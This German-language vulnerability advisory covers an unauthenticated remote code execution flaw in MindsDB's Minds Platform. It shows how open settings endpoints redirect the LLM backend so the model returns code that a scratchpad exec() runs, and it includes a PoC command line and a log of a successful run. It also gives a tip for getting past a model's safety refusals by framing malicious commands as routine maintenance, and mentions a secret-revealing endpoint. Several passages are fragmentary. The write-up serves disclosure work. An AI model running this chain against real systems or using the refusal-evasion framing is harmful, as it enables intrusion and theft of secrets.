
CVE-2026-73678 — MindsDB Minds Platform: nicht authentifizierte RCE über Scratchpad-Exec (CVSS 10.0). Ende-zu-Ende mit echtem LLM verifiziert.
CVSS 10.0 (Kritisch) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (das Open-Source-Backend von mindsdb/mindshub, zuvor mindsdb/minds-platform) stellt POST /api/v1/responses/ (eine OpenAI-kompatible Responses-API, Port 26866) völlig ohne Authentifizierung bereit. Es gibt keine Auth-Middleware – keinen Bearer-Check, keine Sitzung, nichts. Der Server installiert nur eine permissive CORS-Middleware (allow_origins=["*"], allow_credentials=True).
Ein nicht authentifizierter Angreifer kann daher:
PUT /api/v1/settings/{key} (, , , , ) – kein Token erforderlich, alle Anfragen liefern 200 zurück.openai_api_keyopenai_base_urlplanning_providercoding_provider*_modelPOST /api/v1/responses/ → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).scratchpad-Tool zurück (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Da der LLM-Endpunkt vom Angreifer wählbar ist (BYOK), kann der Angreifer das Modell dazu bringen, beliebigen Scratchpad-Code zurückzugeben – keine Kooperation oder Nötigung des Modells erforderlich. Die einzige Voraussetzung ist ein funktionierender OpenAI-kompatibler LLM-API-Schlüssel.
Betroffen: ≤ v26.1.0 (verwundbarer Code hinzugefügt am 08.06.2026, „Fresh #12461“). Gepatcht: KEINE – GHSA listet keine gepatchte Version; das exec() bleibt in main (es existieren nur eine optionale, standardmäßig deaktivierte COWORK_REQUIRE_AUTH-Bearer-Middleware und Org-Mode-Scope-Checks).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
Der PoC:
PUT /api/v1/settings/*uname -a + hostname über Scratchpad exec aus)cat /tmp/system_info.txt auf dem HostHinweis zum Prompt-Engineering: Modelle mit starkem Sicherheitstraining weigern sich möglicherweise, offensichtlich bösartige Befehle auszuführen (z. B. Dateinamen, die „pwn“ enthalten). Formulieren Sie die Anfrage als Routinewartung (Systemdiagnose, Health Check) – das Scratchpad führt jeden Code aus, den das Modell liefert.
Reale End-to-End-Kette gegen cowork-server==0.26.6.26.1 mit einem echten LLM-Anbieter (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
Zu keinem Zeitpunkt wurde ein Token gesendet. Die uname -a-Ausgabe wurde innerhalb des Zielcontainers durch das Scratchpad-exec erzeugt – beliebige Ausführung von Betriebssystembefehlen als nicht authentifizierter Remote-Angreifer.
GET /api/v1/settings/reveal-key/{name} gibt konfigurierte Geheimnisse preis; POST /api/v1/settings/raw schreibt ~/.anton/.env.mindsdb/mindshub)